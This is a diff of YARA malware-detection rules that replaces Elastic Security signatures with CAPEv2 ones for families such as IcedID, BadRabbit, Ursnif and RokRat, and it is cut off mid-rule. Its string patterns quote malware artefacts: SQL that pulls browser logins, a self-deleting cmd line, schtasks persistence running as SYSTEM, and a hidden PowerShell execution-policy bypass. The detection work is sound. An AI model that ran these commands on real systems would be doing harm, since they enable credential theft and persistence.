+		$string1 = "SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),\"unixepoch\")"
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Windows_Trojan_Snakekeylogger_Af3Faa65 : FILE MEMORY
+rule CAPE_Icedid
 {
 	meta:
-		description = "Detects Windows Trojan Snakekeylogger (Windows.Trojan.SnakeKeylogger)"
-		author = "Elastic Security"
-		id = "af3faa65-b19d-4267-ac02-1a3b50cdc700"
-		date = "2021-04-06"
-		modified = "2021-08-23"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_SnakeKeylogger.yar#L1-L32"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "54180a642d40b5366f1b400c347c25dc31397d662d6bb8af33c7d2319c97d3fb"
+		description = "IcedID Payload"
+		author = "kevoreilly, threathive"
+		id = "439342be-a1e6-5656-8813-5cebb0e88e98"
+		date = "2021-12-16"
+		modified = "2021-12-16"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/IcedID.yar#L1-L18"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "e60ccbab7a360020744eba65961156ca3e2ae9cf23671014f913d71c1a96a331"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 45
+		tags = ""
+		cape_type = "IcedID Payload"
 
 	strings:
-		$a1 = "get_encryptedPassword" ascii fullword
-		$a2 = "get_encryptedUsername" ascii fullword
-		$a3 = "get_timePasswordChanged" ascii fullword
-		$a4 = "get_passwordField" ascii fullword
-		$a5 = "set_encryptedPassword" ascii fullword
-		$a6 = "get_passwords" ascii fullword
-		$a7 = "get_logins" ascii fullword
-		$a8 = "GetOutlookPasswords" ascii fullword
-		$a9 = "StartKeylogger" ascii fullword
-		$a10 = "KeyLoggerEventArgs" ascii fullword
-		$a11 = "KeyLoggerEventArgsEventHandler" ascii fullword
-		$a12 = "GetDataPassword" ascii fullword
-		$a13 = "_encryptedPassword" ascii fullword
-		$b1 = "----------------S--------N--------A--------K--------E----------------"
-		$c1 = "SNAKE-KEYLOGGER" ascii fullword
+		$crypt1 = {8A 04 ?? D1 C? F7 D? D1 C? 81 E? 20 01 00 00 D1 C? F7 D? 81 E? 01 91 00 00 32 C? 88}
+		$crypt2 = {8B 44 24 04 D1 C8 F7 D0 D1 C8 2D 20 01 00 00 D1 C0 F7 D0 2D 01 91 00 00 C3}
+		$crypt3 = {41 00 8B C8 C1 E1 08 0F B6 C4 66 33 C8 66 89 4? 24 A1 ?? ?? 41 00 89 4? 20 A0 ?? ?? 41 00 D0 E8 32 4? 32}
+		$download1 = {8D 44 24 40 50 8D 84 24 44 03 00 00 68 04 21 40 00 50 FF D5 8D 84 24 4C 01 00 00 C7 44 24 28 01 00 00 00 89 44 24 1C 8D 4C 24 1C 8D 84 24 4C 03 00 00 83 C4 0C 89 44 24 14 8B D3 B8 BB 01 00 00 66 89 44 24 18 57}
+		$download2 = {8B 75 ?? 8D 4D ?? 8B 7D ?? 8B D6 57 89 1E 89 1F E8 [4] 59 3D C8 00 00 00 75 05 33 C0 40 EB}
+		$major_ver = {0F B6 05 ?? ?? ?? ?? 6A ?? 6A 72 FF 75 0C 6A 70 50 FF 35 ?? ?? ?? ?? 8D 45 80 FF 35 ?? ?? ?? ?? 6A 63 FF 75 08 6A 67 50 FF 75 10 FF 15 ?? ?? ?? ?? 83 C4 38 8B E5 5D C3}
+		$stage_2_request_binary = "id="
+		$stage_2_request_img = ".png"
 
 	condition:
-		8 of ($a*) or #b1>5 or #c1>5
+		any of ($crypt*,$download*,$major_ver) and all of ($stage_2_request_*)
 }
-rule ELASTIC_Windows_Trojan_Avemaria_31D2Bce9 : FILE MEMORY
+rule CAPE_Badrabbit : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Avemaria (Windows.Trojan.AveMaria)"
-		author = "Elastic Security"
-		id = "31d2bce9-3266-447b-9a2d-57cf11a0ff1f"
-		date = "2021-05-30"
-		modified = "2021-08-23"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_AveMaria.yar#L1-L31"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b"
-		logic_hash = "7ba59c3be07e35b415719b60b14a0f629619e5729c20f50f00dbea0c2f8bd026"
+		description = "BadRabbit Payload"
+		author = "kevoreilly"
+		id = "c7204772-6f14-57b7-88c1-e9156f9897d5"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/BadRabbit.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "309e14ab4ea2f919358631f9d8b2aaff1f51e7708b6114e4e6bf4a9d9a5fc86c"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "BadRabbit Payload"
 
 	strings:
-		$a1 = "cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q " ascii fullword
-		$a2 = "SMTP Password" wide fullword
-		$a3 = "select signon_realm, origin_url, username_value, password_value from logins" ascii fullword
-		$a4 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" wide fullword
-		$a5 = "for /F \"usebackq tokens=*\" %%A in (\"" wide fullword
-		$a6 = "\\Torch\\User Data\\Default\\Login Data" wide fullword
-		$a7 = "/n:%temp%\\ellocnak.xml" wide fullword
-		$a8 = "\"os_crypt\":{\"encrypted_key\":\"" wide fullword
-		$a9 = "Hey I'm Admin" wide fullword
-		$a10 = "\\logins.json" wide fullword
-		$a11 = "Accounts\\Account.rec0" ascii fullword
-		$a12 = "warzone160" ascii fullword
-		$a13 = "Ave_Maria Stealer OpenSource github Link: https://github.com/syohex/java-simple-mine-sweeper" wide fullword
+		$a1 = "caforssztxqzf2nm.onion" wide
+		$a2 = "schtasks /Create /SC once /TN drogon /RU SYSTEM" wide
+		$a3 = "schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal" wide
 
 	condition:
-		8 of ($a*)
+		uint16(0)==0x5A4D and ( all of ($a*))
 }
-rule ELASTIC_Windows_Trojan_Dodgebox_095012D2 : FILE MEMORY
+rule CAPE_Bruteratel
 {
 	meta:
-		description = "Detects Windows Trojan Dodgebox (Windows.Trojan.DodgeBox)"
-		author = "Elastic Security"
-		id = "095012d2-2804-44f5-b4a1-f9d9c028daf1"
+		description = "BruteRatel Payload"
+		author = "kevoreilly"
+		id = "61b951e4-0c27-59c0-8ea2-715b673fdcee"
 		date = "2024-07-11"
-		modified = "2024-07-26"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DodgeBox.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c6a3a1ea84251aed908702a1f2a565496d583239c5f467f5dcd0cfc5bfb1a6db"
-		logic_hash = "f1fe9b05deaebaddd83dda0ad98602b49682f8ba767de8c0ffad761d344c5115"
+		modified = "2024-07-11"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/BruteRatel.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "0984977c716d6f8e068c045166eb5db77c9fbce27513e555dceca348375f1a66"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "0797dbe75dea90df77d35d2d4a259b4402c041bc10f9e52df2ef80b2a5804c9f"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = ""
+		cape_type = "BruteRatel Payload"
 
 	strings:
-		$a1 = { 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F 66 74 5C 43 72 79 70 74 6F 67 72 61 70 68 79 00 4D 61 63 68 69 6E 65 47 75 69 64 00 2E 70 64 61 74 61 }
-		$a2 = { 5C 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 2E 00 4E 00 45 00 54 00 5C 00 61 00 73 00 73 00 65 00 6D 00 62 00 6C 00 79 00 5C 00 47 00 41 00 43 00 5F 00 4D 00 53 00 49 00 4C 00 5C 00 00 00 00 00 00 00 25 00 6C 00 6C 00 64 00 2E 00 6C 00 6F 00 67 }
-		$a3 = { 48 83 EC 20 48 63 51 3C 48 8B D9 33 F6 48 8D 3C 11 8B 8F 90 00 00 00 85 C9 74 21 8B 87 94 00 00 00 85 C0 74 17 44 8B C0 48 03 CB 33 D2 ?? ?? ?? ?? ?? 48 89 B7 90 00 00 00 8B 53 3C 48 63 FA }
-		$a4 = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 63 51 3C 48 8B D9 33 F6 48 8D 3C 11 8B 8F 90 00 }
-		$a5 = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 63 59 3C 33 D2 4C 8B C3 48 8B F1 E8 }
+		$syscall1 = {49 89 CA 4? 89 ?? (41 FF|FF)}
+		$syscall2 = {49 89 CA 48 8B 44 24 ?? FF 64 24}
+		$jmpapi = {49 89 ?? 10 49 C7 45 08 ?? 00 00 00 E8 00 00 00 00 ?? (48|49) 83 [2] 41 FF E2}
+		$decode = {89 C2 8A 14 17 40 38 EA 75 06 FF C0 89 03 EB 0B 41 88 14 08 48 FF C1 FF 03 EB}
 
 	condition:
-		any of them
+		2 of them
 }
-rule ELASTIC_Windows_Trojan_Diamondfox_18Bc11E3 : FILE MEMORY
+rule CAPE_Kronos : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Diamondfox (Windows.Trojan.DiamondFox)"
-		author = "Elastic Security"
-		id = "18bc11e3-5872-40b0-a3b7-cef4b32fac15"
-		date = "2022-03-02"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DiamondFox.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a44c46d4b9cf1254aaabd1e689f84c4d2c3dd213597f827acabface03a1ae6d1"
-		logic_hash = "c64e4b3349b33cfd0fec1fe41f91ad819bb6b6751e822d7ab8d14638ad27571d"
+		description = "Kronos Payload"
+		author = "kevoreilly"
+		id = "921a939b-a037-5973-bd8e-f9f55fce7f0f"
+		date = "2020-07-02"
+		modified = "2020-07-02"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Kronos.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "52ce9caf3627efe8ae86df6ca59e51e9f738e13ac0265f797e8d70123dbcaeb3"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "6f908d11220e218a7b59239ff3cc00c7e273fb46ec99ef7ae37e4aceb4de7831"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Kronos Payload"
 
 	strings:
-		$a1 = "\\wscript.vbs" wide fullword
-		$a2 = "\\snapshot.jpg" wide fullword
-		$a3 = "&soft=" wide fullword
-		$a4 = "ping -n 4 127.0.0.1 > nul" wide fullword
-		$a5 = "Select Name from Win32_Process Where Name = '" wide fullword
+		$a1 = "user_pref(\"network.cookie.cookieBehavior\""
+		$a2 = "T0E0H4U0X3A3D4D8"
+		$a3 = "wow64cpu.dll" wide
+		$a4 = "Kronos" fullword ascii wide
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and (2 of ($a*))
 }
-rule ELASTIC_Windows_Vulndriver_Fidpci_Cb7F69B5 : FILE
+rule CAPE_Ursnif : FILE
 {
 	meta:
-		description = "Detects Windows Vulndriver Fidpci (Windows.VulnDriver.Fidpci)"
-		author = "Elastic Security"
-		id = "cb7f69b5-5421-493b-adf7-75130d19b001"
-		date = "2022-04-04"
-		modified = "2022-04-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Fidpci.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3ac5e01689a3d745e60925bc7faca8d4306ae693e803b5e19c94906dc30add46"
-		logic_hash = "459429fb4e5156890f19c451e48676c9cd06eaab1c2eaea9236737c795086b5f"
+		description = "Ursnif Payload"
+		author = "kevoreilly & enzo"
+		id = "200c2227-0d34-5e4a-b5aa-ab63a077d141"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Ursnif.yar#L1-L19"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "46e79fde81ff5352314618021e394b2e0322df07170c7279363290b7134935fd"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		fingerprint = "19da3f67e302d0a70d40533553a19ba91a99a83609c01c8f296834a93fa325e2"
-		severity = 50
-		arch_context = "x86"
-		scan_context = "file"
-		license = "Elastic License v2"
-		os = "windows"
+		cape_type = "Ursnif Payload"
 
 	strings:
-		$str1 = "\\fidpcidrv64.pdb"
+		$crypto64_1 = {41 8B 02 ?? C1 [0-1] 41 33 C3 45 8B 1A 41 33 C0 D3 C8 41 89 02 49 83 C2 04 83 C2 FF 75 D?}
+		$crypto64_2 = {44 01 44 24 10 FF C1 41 8B C0 D1 64 24 10 33 C3 41 8B D8 FF 4C 24 10 41 33 C3 01 44 24 10 D3 C8 01 44 24 10 41 89 02 49 83 C2 04 83 C2 FF 75 C3}
+		$crypto64_3 = {33 C6 ?? C7 [0-1] 49 83 C2 04 33 C3 8B F1 8B CF D3 C8 89 02 48 83 C2 04 41 83 C3 FF 75 ?? 45 85 C9 75 ?? 41 83 E0 03}
+		$crypto64_4 = {41 8B 02 41 8B CB 41 83 F3 01 33 C3 41 8B 1A C1 E1 03 41 33 C0 D3 C8 41 89 02 49 83 C2 04 83 C2 FF 75 C6}
+		$decrypt_config64 = {44 8B D9 33 C0 45 33 C9 44 33 1D ?? ?? ?? 00 ?? ?? D2 ?? ?? D2 74 ?? 4C 8D 42 10 45 3B 0A 73 2? 45 39 58 F8 75 1C 41 F6 40 FC 01 74 12}
+		$crypto32_1 = {01 45 FC D1 65 FC FF 4D FC 33 C1 33 45 0C 01 45 FC 43 8A CB D3 C8 8B CE 01 45 FC 89 02 83 C2 04 FF 4D 08 75 CD}
+		$crypto32_2 = {33 C1 33 44 24 10 43 8A CB D3 C8 8B CE 89 02 83 C2 04 FF 4C 24 0C 75 D9}
+		$decrypt_config32 = {8B ?? 08 5? 33 F? 3B [1-2] 74 14 A1 0? ?? ?? ?? 35 ?? ?? ?? ?? 50 8B D? E8 ?? D? 00 00 EB 02 33 C0 ?B ?? ?? ?? ?? ?? ?? ?? 74 14 8D 4D ?? ?? ?? 50 FF D? 85 C0 74 08}
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		uint16(0)==0x5A4D and ($decrypt_config64 and any of ($crypto64*)) or ($decrypt_config32 and any of ($crypto32*))
 }
-rule ELASTIC_Multi_Ransomware_Luna_8614D3D7 : FILE MEMORY
+rule CAPE_Sedreco : FILE
 {
 	meta:
-		description = "Detects Multi Ransomware Luna (Multi.Ransomware.Luna)"
-		author = "Elastic Security"
-		id = "8614d3d7-7fd2-4cf9-aa97-48a8d9333f38"
-		date = "2022-08-02"
-		modified = "2022-08-16"
-		reference = "https://www.elastic.co/security-labs/luna-ransomware-attack-pattern"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Ransomware_Luna.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1cbbf108f44c8f4babde546d26425ca5340dccf878d306b90eb0fbec2f83ab51"
-		logic_hash = "14e40c5b1a21ba31664ed31b04bfc4a8646b3e31f96d39e0928a3d6a50d79307"
+		description = "Sedreco encrypt function entry"
+		author = "kevoreilly"
+		id = "5b9ee4af-50a4-597c-8fa5-f2094c312d23"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Sedreco.yar#L1-L15"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "f735549606917f59a19157e604e54766e4456bc5d46e94cae3e0a3c18b52a7ca"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "90c97ecfce451e1373af0d7538cf12991cc844d05c99ee18570e176143ccd899"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "multi"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Sedreco Payload"
 
 	strings:
-		$str_extensions = ".ini.exe.dll.lnk"
-		$str_ransomnote_bs64 = "W1dIQVQgSEFQUEVORUQ/XQ0KDQpBbGwgeW91ciBmaWxlcyB3ZXJlIG1vdmVkIHRvIHNlY3VyZSBzdG9yYWdlLg0KTm9ib"
-		$str_path = "/home/username/"
-		$str_error1 = "Error while writing encrypted data to:"
-		$str_error2 = "Error while writing public key to:"
-		$str_error3 = "Error while renaming file:"
-		$chunk_calculation0 = { 48 8D ?? 00 00 48 F4 48 B9 8B 3D 10 B6 9A 5A B4 36 48 F7 E1 48 }
-		$chunk_calculation1 = { 48 C1 EA 12 48 89 D0 48 C1 E0 05 48 29 D0 48 29 D0 48 3D C4 EA 00 00 }
+		$encrypt1 = {55 8B EC 83 EC 2C 53 56 8B F2 57 8B 7D 08 B8 AB AA AA AA}
+		$encrypt2 = {55 8B EC 83 EC 20 8B 4D 10 B8 AB AA AA AA}
+		$encrypt64_1 = {48 89 4C 24 08 53 55 56 57 41 54 41 56 48 83 EC 18 45 8D 34 10 48 8B E9 B8 AB AA AA AA 4D 8B E1 44 89 44 24 60 41 F7 E0 8B F2 B8 AB AA AA AA}
 
 	condition:
-		5 of ($str_*) or all of ($chunk_*)
+		uint16(0)==0x5A4D and $encrypt1 or $encrypt2 or $encrypt64_1
 }
-rule ELASTIC_Windows_Trojan_Bughatch_21269Be4 : FILE MEMORY
+rule CAPE_Bitpaymer : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Bughatch (Windows.Trojan.Bughatch)"
-		author = "Elastic Security"
-		id = "21269be4-cff1-42b9-be6b-f6a6bde40bff"
-		date = "2022-05-09"
-		modified = "2022-06-09"
-		reference = "https://www.elastic.co/security-labs/bughatch-malware-analysis"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Bughatch.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"
-		logic_hash = "a8a2cae51a31e48ffe729df61ec96e3257f9c997ad5234075f85ed55de96f11d"
+		description = "BitPaymer Payload"
+		author = "kevoreilly"
+		id = "c139b514-a1ba-5d47-8f4d-8e60cddfe2ba"
+		date = "2019-11-27"
+		modified = "2019-11-27"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/BitPaymer.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "6ae0dc9a36da13e483d8d653276b06f59ecc15c95c754c268dcc91b181677c4c"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "1ff55288554133690d96161c05a047ffba47778ff27d32ff656b3a194d6c26e0"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "BitPaymer Payload"
 
 	strings:
-		$a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }
-		$a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }
-		$b1 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }
+		$decrypt32 = {6A 40 58 3B C8 0F 4D C1 39 46 04 7D 50 53 57 8B F8 81 E7 3F 00 00 80 79 05 4F 83 CF C0 47 F7 DF 99 1B FF 83 E2 3F 03 C2 F7 DF C1 F8 06 03 F8 C1 E7 06 57}
+		$antidefender = "TouchMeNot" wide
 
 	condition:
-		any of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Windows_Trojan_Bughatch_98F3C0Be : FILE MEMORY
+rule CAPE_Rokrat : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Bughatch (Windows.Trojan.Bughatch)"
-		author = "Elastic Security"
-		id = "98f3c0be-1327-4ba2-9320-c1a9ce90b4a4"
-		date = "2022-05-09"
+		description = "RokRat Payload"
+		author = "kevoreilly"
+		id = "12e05b90-9771-5901-ae82-9fd2ea6263e7"
+		date = "2022-06-09"
 		modified = "2022-06-09"
-		reference = "https://www.elastic.co/security-labs/bughatch-malware-analysis"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Bughatch.yar#L24-L51"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"
-		logic_hash = "d578515fece7bd464bb09cc5ddb5caf70f4022e8b10388db689e67e662d57f66"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/RokRat.yar#L1-L12"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "2aaa7de7ccd59e0da690f4bc0c7deaacf61314d61f8d2aa3ce6f6892f50612ec"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "1ac6b1285e1925349e4e578de0b2f1cf8a008cddbb1a20eb8768b1fcc4b0c8d3"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "RokRat Payload"
 
 	strings:
-		$a1 = "-windowstyle hidden -executionpolicy bypass -file"
-		$a2 = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
-		$a3 = "ReflectiveLoader"
-		$a4 = "\\Sysnative\\"
-		$a5 = "TEMP%u.CMD"
-		$a6 = "TEMP%u.PS1"
-		$a7 = "\\TEMP%d.%s"
-		$a8 = "NtSetContextThread"
-		$a9 = "NtResumeThread"
+		$code1 = {8B 57 04 8D 7F 04 33 57 FC 81 E2 FF FF FF 7F 33 57 FC 8B C2 24 01 0F B6 C0 F7 D8 1B C0 D1 EA 25 DF B0 08 99 33 87 30 06 00 00 33 C2 89 87 3C F6 FF FF 83 E9 01 75 C9}
+		$string1 = "/pho_%s_%d.jpg" wide
 
 	condition:
-		6 of them
+		uint16(0)==0x5A4D and ( any of ($code*)) and ( any of ($string*))
 }
-rule ELASTIC_Windows_Trojan_Metastealer_F94E2464 : FILE MEMORY
+rule CAPE_Oyster
 {
 	meta:
-		description = "Detects Windows Trojan Metastealer (Windows.Trojan.MetaStealer)"
-		author = "Elastic Security"
-		id = "f94e2464-b41a-46fd-89c1-335aa8c14425"
-		date = "2024-03-27"
-		modified = "2024-05-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_MetaStealer.yar#L1-L34"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "14ca15c0751207103c38f1a2f8fdc73e5dd3d58772f6e5641e54e0c790ecd132"
-		logic_hash = "bf374bda2ca7c7bcec1ff092bbc9c3fd95c33faa78a6ea105a7b12b8e80a2e23"
+		description = "Oyster Payload"
+		author = "enzok"
+		id = "29443d00-e3de-53fd-b617-df470a30e805"
+		date = "2024-05-30"
+		modified = "2024-05-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Oyster.yar#L1-L19"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "8bae0fa9f589cd434a689eebd7a1fde949cc09e6a65e1b56bb620998246a1650"
+		logic_hash = "23ab1518712dbce8319b87785d7ffc0c2b61de82c2bbf533ebf0aae39ec33540"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "fb35feaf8e2d0994d022da1c8e872dc8b05b04e25ab6fed2ed1997267edfccd9"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = ""
+		cape_type = "Oyster Payload"
 
 	strings:
-		$string1 = "AvailableLanguages" fullword
-		$string2 = "GetGraphicCards" fullword
-		$string3 = "GetVs" fullword
-		$string4 = "GetSerialNumber" fullword
-		$string5 = "net.tcp://" wide
-		$string6 = "AntivirusProduct|AntiSpyWareProduct|FirewallProduct" wide
-		$string7 = "wallet.dat" wide
-		$string8 = "[A-Za-z\\d]{24}\\.[\\w-]{6}\\.[\\w-]{27}" wide
-		$string9 = "Software\\Valve\\Steam" wide
-		$string10 = "{0}\\FileZilla\\recentservers.xml" wide
-		$string11 = "{0}\\FileZilla\\sitemanager.xml" wide
-		$string12 = "([a-zA-Z0-9]{1000,1500})" wide
-		$string13 = "\\qemu-ga.exe" wide
-		$string14 = "metaData" wide
-		$string15 = "%DSK_23%" wide
-		$string16 = "CollectMemory" fullword
+		$start_exit = {(05 | 00) 00 00 00 2E 96 1E A6}
+		$content_type = {F6 CE 56 F4 76 F6 96 2E 86 C6 96 36 0E 0E 86 04 5C A6 0E 9E 2A B4 2E 76 A6 2E 76 F6 C2}
+		$domain = {44 5C 44 76 96 86 B6 F6 26 44 34 44}
+		$id = {44 5C 44 64 96 44 DE}
+		$ip_local = {44 5C 44 36 86 C6 F6 36 FA 0E 96 44 34 44}
+		$table_part_1 = {00 80 40 C0 20 A0 60 E0 10 90 50 D0 30 B0 70 F0 08 88 48 C8 28 A8 68}
